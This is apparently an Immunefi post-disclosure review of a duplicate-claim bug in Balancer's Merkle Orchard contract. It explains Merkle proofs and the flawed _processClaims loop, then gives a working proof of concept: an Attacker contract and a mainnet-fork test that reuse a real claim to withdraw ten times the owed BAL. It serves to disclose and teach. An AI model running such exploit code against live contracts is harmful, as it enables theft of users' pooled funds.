Balancer Logic Error Bugfix Review

Summary

On January 22, 2023, whitehat 0xriptide reported a high severity vulnerability to the Balancer protocol, a community-driven DeFi liquidity infrastructure provider. The bug itself would allow liquidity providers to submit duplicate claims to drain all the Merkle Orchard’s assets from the Vault.

At the time of the report submission, across Ethereum mainnet, Polygon, and Arbitrum, Balancer Vaults held around $3.2m of vulnerable funds. Though the Merkle Orchard contract was not part of the bug bounty program’s scope, Balancer awarded the whitehat a 50 ETH bounty due to the report’s relevance.

Balancer should be commended for having a well-run bounty program with a fast response time, and big bug bounty rewards that incentivize these kinds of funds-saving reports. Balancer made the bug public through this Twitter thread.

You can read 0xriptide’s blog post about his responsible disclosure here.

A brief introduction to Merkle Trees

To better understand the vulnerability, we should briefly look into what Merkle trees are. These are data structures which encode and compress a number of different data blocks — nodes which we call “leaves” of the tree — into one single hash word — the Merkle tree “root”.

The above image illustrates a Merkle tree structure. Each tree leaf X is hashed to create Hₓ. After that, pairs of hashes are concatenated and hashed once again, so from Hₐ and Hᵦ we get H(Hₐ.Hᵦ) = Hₐᵦ. We will repeat this process of concatenation and hashing to finally get a final compressed root hash–in our case, HABCDEFGH (all letters after the initial H are in subscript).

Due to the irreversible nature of hash functions, we cannot reconstruct the leaves from the single tree root. However, we can use these structures to cryptographically prove that a given leaf belongs to the tree.

Looking at our Merkle tree once again, let’s say Alice wants to prove Bob leaf F is present in this Merkle tree, and Bob just has the final computed Merkle root. Alice just needs to provide a Merkle proof, which in this case will be HE, HGH and HABCD. Bob will hash leaf F to get HF. Then it will concatenate it with HE and hash that again. The result will be concatenated with HGH and hashed. Finally, this result will be combined with HABCD and hashed one last time. If this result corresponds to the Merkle tree root that Bob has stored, then Bob has just verified that leaf F was part of the dataset that generated the original root.

Vulnerability Analysis

The Merkle Orchard contracts were implemented in late 2021. They were used to distribute token incentives before Balancer protocol migrated to their new ve-tokenomics in early 2022.

The idea behind it was for a liquidity provider to be able to claim reward distributions of multiple tokens in a single transaction. That’s done by calling MerkleOrchard.claimDistributions, which calls the internal function _processClaims.

function _processClaims(
       address claimer,
       address recipient,
       Claim[] memory claims,
       IERC20[] memory tokens,
       bool asInternalBalance
   ) internal {
       uint256[] memory amounts = new uint256[](tokens.length);


       /* (...) */
       bytes32 currentChannelId; // Since channel ids are a hash, the initial zero id can be safely considered invalid
       uint256 currentWordIndex;


       uint256 currentBits; // The accumulated claimed bits to set in storage
       uint256 currentClaimAmount; // The accumulated tokens to be claimed from the current channel (not claims set!)


       Claim memory claim;
       for (uint256 i = 0; i < claims.length; i++) {
           claim = claims[i];


           // New scope to avoid stack-too-deep issues
           {
               (uint256 distributionWordIndex, uint256 distributionBitIndex) = _getIndices(claim.distributionId);


               if (currentChannelId == _getChannelId(tokens[claim.tokenIndex], claim.distributor)) {
                   if (currentWordIndex == distributionWordIndex) {
                       // Same claims set as the previous one: simply track the new bit to set.
                       currentBits |= 1 << distributionBitIndex;
                   } else {
                       /* (...) */
                       _setClaimedBits(currentChannelId, claimer, currentWordIndex, currentBits);
	                /* (...) */
                   }


                   currentClaimAmount += claim.balance;
               } else {
                   // Skip initial invalid claims set
                   if (currentChannelId != bytes32(0)) {
                       // Commit previous claims set
                       _setClaimedBits(currentChannelId, claimer, currentWordIndex, currentBits);
                       _deductClaimedBalance(currentChannelId, currentClaimAmount);
                   }


                   /* (...) */
                   currentClaimAmount = claim.balance;
               }
               /* (...) */
           }

The function will process an array of claims. Each Claim has a distributionId. From that id value, _getIndices will compute a word index and a bit index, which will be used throughout the rest of the function. In a similar fashion, we get the channel id from tokens[claim.tokenIndex] and claim.distributor using the internal function _getChannelId.

function _getChannelId(IERC20 token, address distributor) private pure returns (bytes32) {
       return keccak256(abi.encodePacked(token, distributor));
   }

Various parts of this initial portion of _processClaims were cut in this snippet, but from what we have here we can see what happens when we have duplicate claims in our array. The channel id will be the same as the current one because it returns the same bytes32 value for each Claim, which means we will enter into the first if statement. Because currentWordIndex == distributionWordIndex also evaluates to true for duplicate claims, it will effectively bypass _setClaimedBits. This function is for setting bits in a bitmap which tracks the committed claims, and reverts the transaction if we try to set already registered bits.

A final noteworthy aspect of the previous snippet is that _setClaimedBits is also skipped for the first claim of the array, because currentChannelId is still zero. So submitting the same claim multiple times inside the array will simply keep on increasing currentClaimAmount without checking submitted bits on the bitmap.

 // Since a claims set is only committed if the next one is not part of the same set, the last claims set
           // must be manually committed always.
           if (i == claims.length - 1) {
               _setClaimedBits(currentChannelId, claimer, currentWordIndex, currentBits);
               _deductClaimedBalance(currentChannelId, currentClaimAmount);
           }


           require(
               _verifyClaim(currentChannelId, claim.distributionId, claimer, claim.balance, claim.merkleProof),
               "incorrect merkle proof"
           );


           // Note that balances to claim are here accumulated *per token*, independent of the distribution channel and
           // claims set accounting.
           amounts[claim.tokenIndex] += claim.balance;


           emit DistributionClaimed(
               claim.distributor,
               tokens[claim.tokenIndex],
               claim.distributionId,
               claimer,
               recipient,
               claim.balance
           );
       }


       IVault.UserBalanceOpKind kind = asInternalBalance
           ? IVault.UserBalanceOpKind.TRANSFER_INTERNAL
           : IVault.UserBalanceOpKind.WITHDRAW_INTERNAL;
       IVault.UserBalanceOp[] memory ops = new IVault.UserBalanceOp[](tokens.length);


       for (uint256 i = 0; i < tokens.length; i++) {
           ops[i] = IVault.UserBalanceOp({
               asset: IAsset(address(tokens[i])),
               amount: amounts[i],
               sender: address(this),
               recipient: payable(recipient),
               kind: kind
           });
       }
       getVault().manageUserBalance(ops);
   }

The bits of our repeated claim still need to be set, and fortunately the function does by calling setClaimedBits when the final element of the array is reached. The claim gets verified against the stored Merkle tree root, so it still needs to be valid and present a corresponding Merkle proof.

After completing the loop, the function will call manageUserBalance on Balancer’s Vault contract. The MerkleOrchard.claimDistributions function will execute _processClaims with asInternalBalance set as false, which means that kind will be set as WITHDRAW_INTERNAL and Vault.manageUserBalance will send out the funds from its internal balance to the recipient — the address claiming the distributions.

Proof of Concept

To create a PoC to showcase how one can indeed reuse claims on a single transaction, we first need to have funds to claim from the Merkle Orchard contract. For simplicity, we’ll be using an address that had rewards to claim in the past. We can use Dedaub’s library to check past Merkle Orchard transactions which executed claimDistributions. The selected transaction happened at block 15837793, so we will fork the Ethereum mainnet at block 15837792.

We will fetch the first claim used in this transaction. The token that we send to claimDistributions is the BAL token.

contract Attacker {
   address constant MERKLE_ORCHARD = 0xdAE7e32ADc5d490a43cCba1f0c736033F2b4eFca;


   function attack(
       address claimer,
       Claim calldata claim,
       IERC20 token,
       uint repetitions
   ) external {
       Claim[] memory claims = new Claim[](repetitions);
       for (uint i; i < repetitions; i++) {
           claims[i] = claim;
       }


       IERC20[] memory tokens = new IERC20[](1);
       tokens[0] = token;


       IMerkleOrchard(MERKLE_ORCHARD).claimDistributions(claimer, claims, tokens);
   }
}

Our Attacker contract will simply put the same claim numerous times into an array. We will just have one token to claim.

 function testAttack() public {
       bytes32[] memory proof = new bytes32[](12);
       proof[0] = 0x9dfbf7c918518b3c96befc9c7178f9d85dbec75baa1457749780710cb6e2fab0;
       proof[1] = 0x1459513ce0fe343354d5b941644785b433c84e85f34e6e7297171d5deb2d0035;
       proof[2] = 0x0a93097cb9138ab1e9493e56fac429b3f6ebbfc3d031ce591fcfafebf0398105;
       proof[3] = 0x4c548b15158eec039a1d74232928311f35b2693185e1d7a2f72c9e7e1a6b147a;
       proof[4] = 0x9f7de89db5d55efdf394df915d9ab5d26956556c1da07612e7e1f0794faa3301;
       proof[5] = 0x736a792a76e0f66913ca5cc9e5eedee3f405748023a900719ec2d92aae5be80f;
       proof[6] = 0xd8d331ef8c777b3d480a42eba19343c481b1e17557f3b5e4988a3e9f634363b0;
       proof[7] = 0x02ad7733b927e3d8bd7b3414a4e989a189775646c10cdf2a4d79b93d8740be04;
       proof[8] = 0x018614a70e3e29575ebb9187ec872c6151f852978fcb390c6fb24ef3614c9b15;
       proof[9] = 0xae927f79f6ed27bf45ef3fadbcbf1228814b33380f20d3a64fb2b726702941e9;
       proof[10] = 0x6ed645d9b5a25b02e2671f9745ba560c736329e8f1767baf98c52a2df1da8ff1;
       proof[11] = 0xdd5933661c2b5728dcaf0f3f96893d66f1ed0457288e2d3cf738b324f4761a5b;


       uint claimAmount = 5_568_441_214_478_000_000;


       Claim memory claim = Claim({
           distributionId: 52,
           balance: claimAmount,
           distributor: 0xd2EB7Bd802A7CA68d9AcD209bEc4E664A9abDD7b,
           tokenIndex: 0,
           merkleProof: proof
       });


       IERC20 balToken = IERC20(0xba100000625a3754423978a60c9317c58a424e3D);


       uint preBalance = balToken.balanceOf(claimer);
       console.log("Claimer bal balance pre attack: %s", preBalance);


       // Attack!
       uint repetitions = 10;
       Attacker attacker = new Attacker();
       attacker.attack(claimer, claim, balToken, repetitions);


       uint postBalance = balToken.balanceOf(claimer);
       console.log("Claimer bal balance post attack: %s", postBalance);


       assertEq(postBalance - preBalance, repetitions * claimAmount);
   }

All data is copied from the selected transaction aforementioned. We will repeat our claim 10 times, but it would be trivial to expand this PoC to drain all vulnerable funds.

We’ve successfully executed the same claim 10 times, and we received 10 times the funds we were supposed to get. You can check the full PoC here.

Vulnerability Fix

Balancer mitigated the issue by creating new distributions to move Merkle Orchard tokens to the Balancer Treasury address on each network Balancer is present on. These funds will later be distributed via a patched Merkle Orchard to be deployed.

Acknowledgments

We would like to thank 0xriptide for doing an amazing job and making a responsible disclosure to Balancer. Big props also to the Balancer Labs team who did an amazing job responding quickly to the report and resolving it.

If you’d like to start bug hunting, we got you. Check out the Web3 Security Library, and start earning rewards on Immunefi — the leading bug bounty platform for web3 with the world’s biggest payouts.

And if you’re feeling good about your skillset and want to see if you will find bugs in Balancer protocol contracts, check out their bug bounty program.